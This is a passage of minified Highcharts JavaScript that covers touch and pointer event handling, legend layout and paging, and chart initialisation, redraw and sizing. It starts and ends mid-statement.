o=this.chart;if(o.index!==t.hoverChartIndex&&this.onContainerMouseLeave({relatedTarget:!0}),t.hoverChartIndex=o.index,1===e.touches.length)if(e=this.normalize(e),o.isInsidePlot(e.chartX-o.plotLeft,e.chartY-o.plotTop)&&!o.openMenu){if(i&&this.runPointActions(e),"touchmove"===e.type)var n=!!(i=this.pinchDown)[0]&&4<=Math.sqrt(Math.pow(i[0].chartX-e.chartX,2)+Math.pow(i[0].chartY-e.chartY,2));s(n,!0)&&this.pinch(e)}else i&&this.reset();else 2===e.touches.length&&this.pinch(e)},onContainerTouchStart:function(t){this.zoomOption(t),this.touch(t,!0)},onContainerTouchMove:function(t){this.touch(t)},onDocumentTouchEnd:function(e){o[t.hoverChartIndex]&&o[t.hoverChartIndex].pointer.drop(e)}})})),e(i,"parts/MSPointer.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.extend,s=e.objectEach,o=t.addEvent,n=t.charts,a=t.css,r=t.doc,l=t.noop;e=t.Pointer;var h=t.removeEvent,c=t.win,d=t.wrap;if(!t.hasTouch&&(c.PointerEvent||c.MSPointerEvent)){var p={},u=!!c.PointerEvent,f=function(){var t=[];return t.item=function(t){return this[t]},s(p,(function(e){t.push({pageX:e.pageX,pageY:e.pageY,target:e.target})})),t},g=function(e,i,s,o){"touch"!==e.pointerType&&e.pointerType!==e.MSPOINTER_TYPE_TOUCH||!n[t.hoverChartIndex]||(o(e),(o=n[t.hoverChartIndex].pointer)[i]({type:s,target:e.currentTarget,preventDefault:l,touches:f()}))};i(e.prototype,{onContainerPointerDown:function(t){g(t,"onContainerTouchStart","touchstart",(function(t){p[t.pointerId]={pageX:t.pageX,pageY:t.pageY,target:t.currentTarget}}))},onContainerPointerMove:function(t){g(t,"onContainerTouchMove","touchmove",(function(t){p[t.pointerId]={pageX:t.pageX,pageY:t.pageY},p[t.pointerId].target||(p[t.pointerId].target=t.currentTarget)}))},onDocumentPointerUp:function(t){g(t,"onDocumentTouchEnd","touchend",(function(t){delete p[t.pointerId]}))},batchMSEvents:function(t){t(this.chart.container,u?"pointerdown":"MSPointerDown",this.onContainerPointerDown),t(this.chart.container,u?"pointermove":"MSPointerMove",this.onContainerPointerMove),t(r,u?"pointerup":"MSPointerUp",this.onDocumentPointerUp)}}),d(e.prototype,"init",(function(t,e,i){t.call(this,e,i),this.hasZoom&&a(e.container,{"-ms-touch-action":"none","touch-action":"none"})})),d(e.prototype,"setDOMEvents",(function(t){t.apply(this),(this.hasZoom||this.followTouchMove)&&this.batchMSEvents(o)})),d(e.prototype,"destroy",(function(t){this.batchMSEvents(h),t.call(this)}))}})),e(i,"parts/Legend.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.defined,s=e.discardElement,o=e.isNumber,n=e.pick,a=e.setAnimation,r=t.addEvent,l=t.css,h=t.fireEvent;e=t.isFirefox;var c=t.marginNames,d=t.merge,p=t.stableSort,u=t.win,f=t.wrap;t.Legend=function(t,e){this.init(t,e)},t.Legend.prototype={init:function(t,e){this.chart=t,this.setOptions(e),e.enabled&&(this.render(),r(this.chart,"endResize",(function(){this.legend.positionCheckboxes()})),this.proximate?this.unchartrender=r(this.chart,"render",(function(){this.legend.proximatePositions(),this.legend.positionItems()})):this.unchartrender&&this.unchartrender())},setOptions:function(t){var e=n(t.padding,8);this.options=t,this.chart.styledMode||(this.itemStyle=t.itemStyle,this.itemHiddenStyle=d(this.itemStyle,t.itemHiddenStyle)),this.itemMarginTop=t.itemMarginTop||0,this.itemMarginBottom=t.itemMarginBottom||0,this.padding=e,this.initialItemY=e-5,this.symbolWidth=n(t.symbolWidth,16),this.pages=[],this.proximate="proximate"===t.layout&&!this.chart.inverted},update:function(t,e){var i=this.chart;this.setOptions(d(!0,this.options,t)),this.destroy(),i.isDirtyLegend=i.isDirtyBox=!0,n(e,!0)&&i.redraw(),h(this,"afterUpdate")},colorizeItem:function(t,e){if(t.legendGroup[e?"removeClass":"addClass"]("highcharts-legend-item-hidden"),!this.chart.styledMode){var i=this.options,s=t.legendItem,o=t.legendLine,n=t.legendSymbol,a=this.itemHiddenStyle.color;i=e?i.itemStyle.color:a;var r=e&&t.color||a,l=t.options&&t.options.marker,c={fill:r};s&&s.css({fill:i,color:i}),o&&o.attr({stroke:r}),n&&(l&&n.isMarker&&(c=t.pointAttribs(),e||(c.stroke=c.fill=a)),n.attr(c))}h(this,"afterColorizeItem",{item:t,visible:e})},positionItems:function(){this.allItems.forEach(this.positionItem,this),this.chart.isResizing||this.positionCheckboxes()},positionItem:function(t){var e=this.options,s=e.symbolPadding;e=!e.rtl;var o=t._legendItemPos,n=o[0];o=o[1];var a=t.checkbox;(t=t.legendGroup)&&t.element&&t[i(t.translateY)?"animate":"attr"]({translateX:e?n:this.legendWidth-n-2*s-4,translateY:o}),a&&(a.x=n,a.y=o)},destroyItem:function(t){var e=t.checkbox;["legendItem","legendLine","legendSymbol","legendGroup"].forEach((function(e){t[e]&&(t[e]=t[e].destroy())})),e&&s(t.checkbox)},destroy:function(){function t(t){this[t]&&(this[t]=this[t].destroy())}this.getAllItems().forEach((function(e){["legendItem","legendGroup"].forEach(t,e)})),"clipRect up down pager nav box title group".split(" ").forEach(t,this),this.display=null},positionCheckboxes:function(){var t=this.group&&this.group.alignAttr,e=this.clipHeight||this.legendHeight,i=this.titleHeight;if(t){var s=t.translateY;this.allItems.forEach((function(o){var n=o.checkbox;if(n){var a=s+i+n.y+(this.scrollOffset||0)+3;l(n,{left:t.translateX+o.checkboxOffset+n.x-20+"px",top:a+"px",display:this.proximate||a>s-6&&a<s+e-6?"":"none"})}}),this)}},renderTitle:function(){var t=this.options,e=this.padding,i=t.title,s=0;i.text&&(this.title||(this.title=this.chart.renderer.label(i.text,e-3,e-4,null,null,null,t.useHTML,null,"legend-title").attr({zIndex:1}),this.chart.styledMode||this.title.css(i.style),this.title.add(this.group)),i.width||this.title.css({width:this.maxLegendWidth+"px"}),s=(t=this.title.getBBox()).height,this.offsetWidth=t.width,this.contentGroup.attr({translateY:s})),this.titleHeight=s},setText:function(e){var i=this.options;e.legendItem.attr({text:i.labelFormat?t.format(i.labelFormat,e,this.chart.time):i.labelFormatter.call(e)})},renderItem:function(t){var e=this.chart,i=e.renderer,s=this.options,o=this.symbolWidth,a=s.symbolPadding,r=this.itemStyle,l=this.itemHiddenStyle,h="horizontal"===s.layout?n(s.itemDistance,20):0,c=!s.rtl,p=t.legendItem,u=!t.series,f=!u&&t.series.drawLegendSymbol?t.series:t,g=f.options;h=o+a+h+((g=this.createCheckboxForItem&&g&&g.showCheckbox)?20:0);var m=s.useHTML,v=t.options.className;p||(t.legendGroup=i.g("legend-item").addClass("highcharts-"+f.type+"-series highcharts-color-"+t.colorIndex+(v?" "+v:"")+(u?" highcharts-series-"+t.index:"")).attr({zIndex:1}).add(this.scrollGroup),t.legendItem=p=i.text("",c?o+a:-a,this.baseline||0,m),e.styledMode||p.css(d(t.visible?r:l)),p.attr({align:c?"left":"right",zIndex:2}).add(t.legendGroup),this.baseline||(this.fontMetrics=i.fontMetrics(e.styledMode?12:r.fontSize,p),this.baseline=this.fontMetrics.f+3+this.itemMarginTop,p.attr("y",this.baseline)),this.symbolHeight=s.symbolHeight||this.fontMetrics.f,f.drawLegendSymbol(this,t),this.setItemEvents&&this.setItemEvents(t,p,m)),g&&!t.checkbox&&this.createCheckboxForItem(t),this.colorizeItem(t,t.visible),!e.styledMode&&r.width||p.css({width:(s.itemWidth||this.widthOption||e.spacingBox.width)-h}),this.setText(t),e=p.getBBox(),t.itemWidth=t.checkboxOffset=s.itemWidth||t.legendItemWidth||e.width+h,this.maxItemWidth=Math.max(this.maxItemWidth,t.itemWidth),this.totalItemWidth+=t.itemWidth,this.itemHeight=t.itemHeight=Math.round(t.legendItemHeight||e.height||this.symbolHeight)},layoutItem:function(t){var e=this.options,i=this.padding,s="horizontal"===e.layout,o=t.itemHeight,a=this.itemMarginBottom,r=this.itemMarginTop,l=s?n(e.itemDistance,20):0,h=this.maxLegendWidth;e=e.alignColumns&&this.totalItemWidth>h?this.maxItemWidth:t.itemWidth,s&&this.itemX-i+e>h&&(this.itemX=i,this.lastLineHeight&&(this.itemY+=r+this.lastLineHeight+a),this.lastLineHeight=0),this.lastItemY=r+this.itemY+a,this.lastLineHeight=Math.max(o,this.lastLineHeight),t._legendItemPos=[this.itemX,this.itemY],s?this.itemX+=e:(this.itemY+=r+o+a,this.lastLineHeight=o),this.offsetWidth=this.widthOption||Math.max((s?this.itemX-i-(t.checkbox?0:l):e)+i,this.offsetWidth)},getAllItems:function(){var t=[];return this.chart.series.forEach((function(e){var s=e&&e.options;e&&n(s.showInLegend,!i(s.linkedTo)&&void 0,!0)&&(t=t.concat(e.legendItems||("point"===s.legendType?e.data:e)))})),h(this,"afterGetAllItems",{allItems:t}),t},getAlignment:function(){var t=this.options;return this.proximate?t.align.charAt(0)+"tv":t.floating?"":t.align.charAt(0)+t.verticalAlign.charAt(0)+t.layout.charAt(0)},adjustMargins:function(t,e){var s=this.chart,o=this.options,a=this.getAlignment();a&&[/(lth|ct|rth)/,/(rtv|rm|rbv)/,/(rbh|cb|lbh)/,/(lbv|lm|ltv)/].forEach((function(r,l){r.test(a)&&!i(t[l])&&(s[c[l]]=Math.max(s[c[l]],s.legend[(l+1)%2?"legendHeight":"legendWidth"]+[1,-1,-1,1][l]*o[l%2?"x":"y"]+n(o.margin,12)+e[l]+(s.titleOffset[l]||0)))}))},proximatePositions:function(){var e=this.chart,i=[],s="left"===this.options.align;this.allItems.forEach((function(n){var a=s;if(n.yAxis&&n.points){n.xAxis.options.reversed&&(a=!a);var r=t.find(a?n.points:n.points.slice(0).reverse(),(function(t){return o(t.plotY)}));a=this.itemMarginTop+n.legendItem.getBBox().height+this.itemMarginBottom;var l=n.yAxis.top-e.plotTop;n.visible?(r=r?r.plotY:n.yAxis.height,r+=l-.3*a):r=l+n.yAxis.height,i.push({target:r,size:a,item:n})}}),this),t.distribute(i,e.plotHeight),i.forEach((function(t){t.item._legendItemPos[1]=e.plotTop-e.spacing[0]+t.pos}))},render:function(){var e,i=this.chart,s=i.renderer,o=this.group,n=this.box,a=this.options,r=this.padding;this.itemX=r,this.itemY=this.initialItemY,this.lastItemY=this.offsetWidth=0,this.widthOption=t.relativeLength(a.width,i.spacingBox.width-r);var l=i.spacingBox.width-2*r-a.x;-1<["rm","lm"].indexOf(this.getAlignment().substring(0,2))&&(l/=2),this.maxLegendWidth=this.widthOption||l,o||(this.group=o=s.g("legend").attr({zIndex:7}).add(),this.contentGroup=s.g().attr({zIndex:1}).add(o),this.scrollGroup=s.g().add(this.contentGroup)),this.renderTitle(),l=this.getAllItems(),p(l,(function(t,e){return(t.options&&t.options.legendIndex||0)-(e.options&&e.options.legendIndex||0)})),a.reversed&&l.reverse(),this.allItems=l,this.display=e=!!l.length,this.itemHeight=this.totalItemWidth=this.maxItemWidth=this.lastLineHeight=0,l.forEach(this.renderItem,this),l.forEach(this.layoutItem,this),l=(this.widthOption||this.offsetWidth)+r;var c=this.lastItemY+this.lastLineHeight+this.titleHeight;c=this.handleOverflow(c),c+=r,n||(this.box=n=s.rect().addClass("highcharts-legend-box").attr({r:a.borderRadius}).add(o),n.isNew=!0),i.styledMode||n.attr({stroke:a.borderColor,"stroke-width":a.borderWidth||0,fill:a.backgroundColor||"none"}).shadow(a.shadow),0<l&&0<c&&(n[n.isNew?"attr":"animate"](n.crisp.call({},{x:0,y:0,width:l,height:c},n.strokeWidth())),n.isNew=!1),n[e?"show":"hide"](),i.styledMode&&"none"===o.getStyle("display")&&(l=c=0),this.legendWidth=l,this.legendHeight=c,e&&(n=(s=i.spacingBox).y,/(lth|ct|rth)/.test(this.getAlignment())&&0<i.titleOffset[0]?n+=i.titleOffset[0]:/(lbh|cb|rbh)/.test(this.getAlignment())&&0<i.titleOffset[2]&&(n-=i.titleOffset[2]),n!==s.y&&(s=d(s,{y:n})),o.align(d(a,{width:l,height:c,verticalAlign:this.proximate?"top":a.verticalAlign}),!0,s)),this.proximate||this.positionItems(),h(this,"afterRender")},handleOverflow:function(t){var e=this,i=this.chart,s=i.renderer,o=this.options,a=o.y,r=this.padding;a=i.spacingBox.height+("top"===o.verticalAlign?-a:a)-r;var l,h,c=o.maxHeight,d=this.clipRect,p=o.navigation,u=n(p.animation,!0),f=p.arrowSize||12,g=this.nav,m=this.pages,v=this.allItems,x=function(t){"number"==typeof t?d.attr({height:t}):d&&(e.clipRect=d.destroy(),e.contentGroup.clip()),e.contentGroup.div&&(e.contentGroup.div.style.clip=t?"rect("+r+"px,9999px,"+(r+t)+"px,0)":"auto")},y=function(t){return e[t]=s.circle(0,0,1.3*f).translate(f/2,f/2).add(g),i.styledMode||e[t].attr("fill","rgba(0,0,0,0.0001)"),e[t]};return"horizontal"!==o.layout||"middle"===o.verticalAlign||o.floating||(a/=2),c&&(a=Math.min(a,c)),m.length=0,t>a&&!1!==p.enabled?(this.clipHeight=l=Math.max(a-20-this.titleHeight-r,0),this.currentPage=n(this.currentPage,1),this.fullHeight=t,v.forEach((function(t,e){var i=t._legendItemPos[1],s=Math.round(t.legendItem.getBBox().height),o=m.length;(!o||i-m[o-1]>l&&(h||i)!==m[o-1])&&(m.push(h||i),o++),t.pageIx=o-1,h&&(v[e-1].pageIx=o-1),e===v.length-1&&i+s-m[o-1]>l&&i!==h&&(m.push(i),t.pageIx=o),i!==h&&(h=i)})),d||(d=e.clipRect=s.clipRect(0,r,9999,0),e.contentGroup.clip(d)),x(l),g||(this.nav=g=s.g().attr({zIndex:1}).add(this.group),this.up=s.symbol("triangle",0,0,f,f).add(g),y("upTracker").on("click",(function(){e.scroll(-1,u)})),this.pager=s.text("",15,10).addClass("highcharts-legend-navigation"),i.styledMode||this.pager.css(p.style),this.pager.add(g),this.down=s.symbol("triangle-down",0,0,f,f).add(g),y("downTracker").on("click",(function(){e.scroll(1,u)}))),e.scroll(0),t=a):g&&(x(),this.nav=g.destroy(),this.scrollGroup.attr({translateY:1}),this.clipHeight=0),t},scroll:function(t,e){var i=this.pages,s=i.length,o=this.currentPage+t;t=this.clipHeight;var n=this.options.navigation,r=this.pager,l=this.padding;o>s&&(o=s),0<o&&(void 0!==e&&a(e,this.chart),this.nav.attr({translateX:l,translateY:t+this.padding+7+this.titleHeight,visibility:"visible"}),[this.up,this.upTracker].forEach((function(t){t.attr({class:1===o?"highcharts-legend-nav-inactive":"highcharts-legend-nav-active"})})),r.attr({text:o+"/"+s}),[this.down,this.downTracker].forEach((function(t){t.attr({x:18+this.pager.getBBox().width,class:o===s?"highcharts-legend-nav-inactive":"highcharts-legend-nav-active"})}),this),this.chart.styledMode||(this.up.attr({fill:1===o?n.inactiveColor:n.activeColor}),this.upTracker.css({cursor:1===o?"default":"pointer"}),this.down.attr({fill:o===s?n.inactiveColor:n.activeColor}),this.downTracker.css({cursor:o===s?"default":"pointer"})),this.scrollOffset=-i[o-1]+this.initialItemY,this.scrollGroup.animate({translateY:this.scrollOffset}),this.currentPage=o,this.positionCheckboxes())}},t.LegendSymbolMixin={drawRectangle:function(t,e){var i=t.symbolHeight,s=t.options.squareSymbol;e.legendSymbol=this.chart.renderer.rect(s?(t.symbolWidth-i)/2:0,t.baseline-i+1,s?i:t.symbolWidth,i,n(t.options.symbolRadius,i/2)).addClass("highcharts-point").attr({zIndex:3}).add(e.legendGroup)},drawLineMarker:function(t){var e=this.options,i=e.marker,s=t.symbolWidth,o=t.symbolHeight,a=o/2,r=this.chart.renderer,l=this.legendGroup;t=t.baseline-Math.round(.3*t.fontMetrics.b);var h={};this.chart.styledMode||(h={"stroke-width":e.lineWidth||0},e.dashStyle&&(h.dashstyle=e.dashStyle)),this.legendLine=r.path(["M",0,t,"L",s,t]).addClass("highcharts-graph").attr(h).add(l),i&&!1!==i.enabled&&s&&(e=Math.min(n(i.radius,a),a),0===this.symbol.indexOf("url")&&(i=d(i,{width:o,height:o}),e=0),this.legendSymbol=i=r.symbol(this.symbol,s/2-e,t-e,2*e,2*e,i).addClass("highcharts-point").add(l),i.isMarker=!0)}},(/Trident\/7\.0/.test(u.navigator&&u.navigator.userAgent)||e)&&f(t.Legend.prototype,"positionItem",(function(t,e){var i=this,s=function(){e._legendItemPos&&t.call(i,e)};s(),i.bubbleLegend||setTimeout(s)}))})),e(i,"parts/Chart.js",[i["parts/Globals.js"],i["parts/Utilities.js"]],(function(t,e){var i=e.attr,s=e.defined,o=e.discardElement,n=e.erase,a=e.extend,r=e.isArray,l=e.isNumber,h=e.isObject,c=e.isString,d=e.objectEach,p=e.pick,u=e.pInt,f=e.setAnimation,g=e.splat,m=e.syncTimeout,v=t.addEvent,x=t.animate,y=t.animObject,b=t.doc,w=t.Axis,k=t.createElement,M=t.defaultOptions,S=t.charts,T=t.css,C=t.find,A=t.fireEvent,E=t.Legend,P=t.marginNames,O=t.merge,L=t.Pointer,D=t.removeEvent,_=t.seriesTypes,I=t.win,z=t.Chart=function(){this.getArgs.apply(this,arguments)};t.chart=function(t,e,i){return new z(t,e,i)},a(z.prototype,{callbacks:[],getArgs:function(){var t=[].slice.call(arguments);(c(t[0])||t[0].nodeName)&&(this.renderTo=t.shift()),this.init(t[0],t[1])},init:function(e,i){var s,o=e.series,n=e.plotOptions||{};A(this,"init",{args:arguments},(function(){e.series=null,s=O(M,e),d(s.plotOptions,(function(t,e){h(t)&&(t.tooltip=n[e]&&O(n[e].tooltip)||void 0)})),s.tooltip.userOptions=e.chart&&e.chart.forExport&&e.tooltip.userOptions||e.tooltip,s.series=e.series=o,this.userOptions=e;var a=s.chart,r=a.events;this.margin=[],this.spacing=[],this.bounds={h:{},v:{}},this.labelCollectors=[],this.callback=i,this.isResizing=0,this.options=s,this.axes=[],this.series=[],this.time=e.time&&Object.keys(e.time).length?new t.Time(e.time):t.time,this.styledMode=a.styledMode,this.hasCartesianSeries=a.showAxes;var l=this;l.index=S.length,S.push(l),t.chartCount++,r&&d(r,(function(e,i){t.isFunction(e)&&v(l,i,e)})),l.xAxis=[],l.yAxis=[],l.pointCount=l.colorCounter=l.symbolCounter=0,A(l,"afterInit"),l.firstRender()}))},initSeries:function(e){var i=this.options.chart;i=e.type||i.type||i.defaultSeriesType;var s=_[i];return s||t.error(17,!0,this,{missingModuleFor:i}),(i=new s).init(this,e),i},orderSeries:function(t){var e=this.series;for(t=t||0;t<e.length;t++)e[t]&&(e[t].index=t,e[t].name=e[t].getName())},isInsidePlot:function(t,e,i){var s=i?e:t;return t=i?t:e,0<=s&&s<=this.plotWidth&&0<=t&&t<=this.plotHeight},redraw:function(t){A(this,"beforeRedraw");var e=this.axes,i=this.series,s=this.pointer,o=this.legend,n=this.userOptions.legend,r=this.isDirtyLegend,l=this.hasCartesianSeries,h=this.isDirtyBox,c=this.renderer,d=c.isHidden(),p=[];for(this.setResponsive&&this.setResponsive(!1),f(t,this),d&&this.temporaryDisplay(),this.layOutTitles(),t=i.length;t--;){var u=i[t];if(u.options.stacking){var g=!0;if(u.isDirty){var m=!0;break}}}if(m)for(t=i.length;t--;)(u=i[t]).options.stacking&&(u.isDirty=!0);i.forEach((function(t){t.isDirty&&("point"===t.options.legendType?(t.updateTotals&&t.updateTotals(),r=!0):n&&(n.labelFormatter||n.labelFormat)&&(r=!0)),t.isDirtyData&&A(t,"updatedData")})),r&&o&&o.options.enabled&&(o.render(),this.isDirtyLegend=!1),g&&this.getStacks(),l&&e.forEach((function(t){t.updateNames(),t.setScale()})),this.getMargins(),l&&(e.forEach((function(t){t.isDirty&&(h=!0)})),e.forEach((function(t){var e=t.min+","+t.max;t.extKey!==e&&(t.extKey=e,p.push((function(){A(t,"afterSetExtremes",a(t.eventArgs,t.getExtremes())),delete t.eventArgs}))),(h||g)&&t.redraw()}))),h&&this.drawChartBox(),A(this,"predraw"),i.forEach((function(t){(h||t.isDirty)&&t.visible&&t.redraw(),t.isDirtyData=!1})),s&&s.reset(!0),c.draw(),A(this,"redraw"),A(this,"render"),d&&this.temporaryDisplay(!0),p.forEach((function(t){t.call()}))},get:function(t){function e(e){return e.id===t||e.options&&e.options.id===t}var i,s=this.series,o=C(this.axes,e)||C(this.series,e);for(i=0;!o&&i<s.length;i++)o=C(s[i].points||[],e);return o},getAxes:function(){var t=this,e=this.options,i=e.xAxis=g(e.xAxis||{});e=e.yAxis=g(e.yAxis||{}),A(this,"getAxes"),i.forEach((function(t,e){t.index=e,t.isX=!0})),e.forEach((function(t,e){t.index=e})),i.concat(e).forEach((function(e){new w(t,e)})),A(this,"afterGetAxes")},getSelectedPoints:function(){var t=[];return this.series.forEach((function(e){t=t.concat((e[e.hasGroupedData?"points":"data"]||[]).filter((function(t){return p(t.selectedStaging,t.selected)})))})),t},getSelectedSeries:function(){return this.series.filter((function(t){return t.selected}))},setTitle:function(t,e,i){this.applyDescription("title",t),this.applyDescription("subtitle",e),this.applyDescription("caption",void 0),this.layOutTitles(i)},applyDescription:function(t,e){var i=this,s="title"===t?{color:"#333333",fontSize:this.options.isStock?"16px":"18px"}:{color:"#666666"};s=this.options[t]=O(!this.styledMode&&{style:s},this.options[t],e);var o=this[t];o&&e&&(this[t]=o=o.destroy()),s&&!o&&((o=this.renderer.text(s.text,0,0,s.useHTML).attr({align:s.align,class:"highcharts-"+t,zIndex:s.zIndex||4}).add()).update=function(e){i[{title:"setTitle",subtitle:"setSubtitle",caption:"setCaption"}[t]](e)},this.styledMode||o.css(s.style),this[t]=o)},layOutTitles:function(t){var e=[0,0,0],i=this.renderer,s=this.spacingBox;["title","subtitle","caption"].forEach((function(t){var o=this[t],n=this.options[t],r=n.verticalAlign||"top";if(t="title"===t?-3:"top"===r?e[0]+2:0,o){if(!this.styledMode)var l=n.style.fontSize;l=i.fontMetrics(l,o).b,o.css({width:(n.width||s.width+(n.widthAdjust||0))+"px"});var h=Math.round(o.getBBox(n.useHTML).height);o.align(a({y:"bottom"===r?l:t+l,height:h},n),!1,"spacingBox"),n.floating||("top"===r?e[0]=Math.ceil(e[0]+h):"bottom"===r&&(e[2]=Math.ceil(e[2]+h)))}}),this),e[0]&&"top"===(this.options.title.verticalAlign||"top")&&(e[0]+=this.options.title.margin),e[2]&&"bottom"===this.options.caption.verticalAlign&&(e[2]+=this.options.caption.margin);var o=!this.titleOffset||this.titleOffset.join(",")!==e.join(",");this.titleOffset=e,A(this,"afterLayOutTitles"),!this.isDirtyBox&&o&&(this.isDirtyBox=this.isDirtyLegend=o,this.hasRendered&&p(t,!0)&&this.isDirtyBox&&this.redraw())},getChartSize:function(){var e=this.options.chart,i=e.width;e=e.height;var o=this.renderTo;s(i)||(this.containerWidth=t.getStyle(o,"width")),s(e)||(this.containerHeight=t.getStyle(o,"height")),this.chartWidth=Math.max(0,i||this.containerWidth||600),this.chartHeight=Math.max(0,t.relativeLength(e,this.chartWidth)||(1<this.containerHeight?this.containerHeight:400))},temporaryDisplay:function(e){var i=this.renderTo;if(e)for(;i&&i.style;)i.hcOrigStyle&&(t.css(i,i.hcOrigStyle),delete i.hcOrigStyle),i.hcOrigDetached&&(b.body.removeChild(i),i.hcOrigDetached=!1),i=i.parentNode;else for(;i&&i.style&&(b.body.contains(i)||i.parentNode||(i.hcOrigDetached=!0,b.body.appendChild(i)),("none"===t.getStyle(i,"display",!1)||i.hcOricDetached)&&(i.hcOrigStyle={display:i.style.display,height:i.style.height,overflow:i.style.overflow},e={display:"block",overflow:"hidden"},i!==this.renderTo&&(e.height=0),t.css(i,e),i.offsetWidth||i.style.setProperty("display","block","important")),(i=i.parentNode)!==b.body););},setClassName:function(t){this.container.className="highcharts-container "+(t||"")},getContainer:function(){var e,s,o=this.options,n=o.chart,r=this.renderTo,h=t.uniqueKey();r||(this.renderTo=r=n.renderTo),c(r)&&(this.renderTo=r=b.getElementById(r)),r||t.error(13,!0,this);var d=u(i(r,"data-highcharts-chart"));l(d)&&S[d]&&S[d].hasRendered&&S[d].destroy(),i(r,"data-highcharts-chart",this.index),r.innerHTML="",n.skipClone||r.offsetWidth||this.temporaryDisplay(),this.getChartSize(),d=this.chartWidth;var p=this.chartHeight;if(T(r,{overflow:"hidden"}),this.styledMode||(e=a({position:"relative",overflow:"hidden",width:d+"px",height:p+"px",textAlign:"left",lineHeight:"normal",zIndex:0,"-webkit-tap-highlight-color":"rgba(0,0,0,0)"},n.style)),this.container=r=k("div",{id:h},e,r),this._cursor=r.style.cursor,this.renderer=new(t[n.renderer]||t.Renderer)(r,d,p,null,n.forExport,o.exporting&&o.exporting.allowHTML,this.styledMode),this.setClassName(n.className),this.styledMode)for(s in o.defs)this.renderer.definition(o.defs[s]);else this.renderer.setStyle(n.style);this.renderer.chartIndex=this.index,A(this,"afterGetContainer")},getMargins:function(t){var e=this.spacing,i=this.margin,o=this.titleOffset;this.resetMargins(),o[0]&&!s(i[0])&&(this.plotTop=Math.max(this.plotTop,o[0]+e[0])),o[2]&&!s(i[2])&&(this.marginBottom=Math.max(this.marginBottom,o[2]+e[2])),this.legend&&this.legend.display&&this.legend.adjustMargins(i,e),A(this,"getMargins"),t||this.getAxisMargins()},getAxisMargins:function(){var t=this,e=t.axisOffset=[0,0,0,0],i=t.colorAxis,o=t.margin,n=function(t){t.forEach((function(t){t.visible&&t.getOffset()}))};t.hasCartesianSeries?n(t.axes):i&&i.length&&n(i),P.forEach((function(i,n){s(o[n])||(t[i]+=e[n])})),t.setChartSize()},reflow:function(e){var i=this,o=i.options.chart,n=i.renderTo,a=s(o.width)&&s(o.height),r=o.width||t.getStyle(n,"width");o=o.height||t.getStyle(n,"height"),n=e?e.target:I,a||i.isPrinting||!r||!o||n!==I&&n!==b||(r===i.containerWidth&&o===i.containerHeight||(t.clearTimeout(i.reflowTimeout),i.reflowTimeout=m((function(){i.container&&i.setSize(void 0,void 0,!1)}),e?100:0)),i.containerWidth=r,i.containerHeight=o)},setReflow:function(t){var e=this;!1===t||this.unbindReflow?!1===t&&this.unbindReflow&&(this.unbindReflow=this.unbindReflow()):(this.unbindReflow=v(I,"resize",(function(t){e.options&&e.reflow(t)})),v(this,"destroy",this.unbindReflow))},setSize:function(t,e,i){var s=this,o=s.renderer;if(s.isResizing+=1,f(i,s),s.oldChartHeight=s.chartHeight,s.oldChartWidth=s.chartWidth,void 0!==t&&(s.options.chart.width=t),void 0!==e&&(s.options.chart.height=e),s.getChartSize(),!s.styledMode){var n=o.globalAnimation;(n?x:T)(s.container,{width:s.chartWidth+"px",height:s.chartHeight+"px"},n)}s.setChartSize(!0),o.setSize(s.chartWidth,s.chartHeight,i),s.axes.forEach((function(t){t.isDirty=!0,t.setScale()})),s.isDirtyLegend=!0,s.isDirtyBox=!0,s.layOutTitles(),s.getMargins(),s.redraw(i),s.oldChartHeight=null,A(s,"resize"),m((function(){s&&A(s,"endResize",null,(function(){--s.isResizing}))}),y(n).duration||0)},setChartSize:function(t){var e,i,s,o,n=this.inverted,a=this.renderer,r=this.chartWidth,l=this.chartHeight,h=this.options.chart,c=this.spacing,d=this.clipOffset;this.plotLeft=e=Math.round(this.plotLeft),this.plotTop=i=Math.round(this.plotTop),this.plotWidth=s=Math.max(0,Math.round(r-e-this.marginRight)),this.plotHeight=o=Math.max(0,Math.round(l-i-this.marginBottom)),this.plotSizeX=n?o:s,this.plotSizeY=n?s:o,this.plotBorderWidth=h.plotBorderWidth||0,this.spacingBox=a.spacingBox={x:c[3],y:c[0],width:r-c[3]-c[1],height:l-c[0]-c[2]},this.plotBox=a.plotBox={x:e,y:i,width:s,height:o},r=2*Math.floor(this.plotBorderWidth/2),n=Math.ceil(Math.max(r,d[3])/2),a=Math.ceil(Math.max(r,d[0])/2),this.clipBox={x:n,y:a,width:Math.floor(this.plotSizeX-Math.max(r,d[1])/2-n),height:Math.max(0,Math.floor(this.plotSizeY-Math.max(r,d[2])/2-a))},t||this.axes.forEach((function(t){t.setAxisSize(),t.setAxisTranslation()})),A(this,"afterSetChartSize",{skipAxes:t})},resetMargins:function(){A(this,"resetMargins");var t=this,e=t.options.chart;["margin","spacing"].forEach((function(i){var s=e[i],o=h(s)?s:[s,s,s,s];["Top","Right","Bottom","Left"].forEach((function(s,n){t[i][n]=p(e[i+s],o[n])}))})),P.forEach((function(e,i){t[e]=p(t.margin[i],t.spacing[i])})),t.axisOffset=[0,0,0,0],t.clipOffset=[0,0,0,0]},drawChartBox:function(){var t,e=this.options.chart,i=this.renderer,s=this.chartWidth,o=this.chartHeight,n=this.chartBackground,a=this.plotBackground,r=this.plotBorder,l=this.styledMode,h=this.plotBGImage,c=e.backgroundColor,d=e.plotBackgroundColor,p=e.plotBackgroundImage,u=this.plotLeft,f=this.plotTop,g=this.plotWidth,m=this.plotHeight,v=this.plotBox,x=this.clipRect,y=this.clipBox,b="animate";if(n||(this.chartBackground=n=i.rect().addClass("highcharts-background").add(),b="attr"),l)var w=t=n.strokeWidth();else 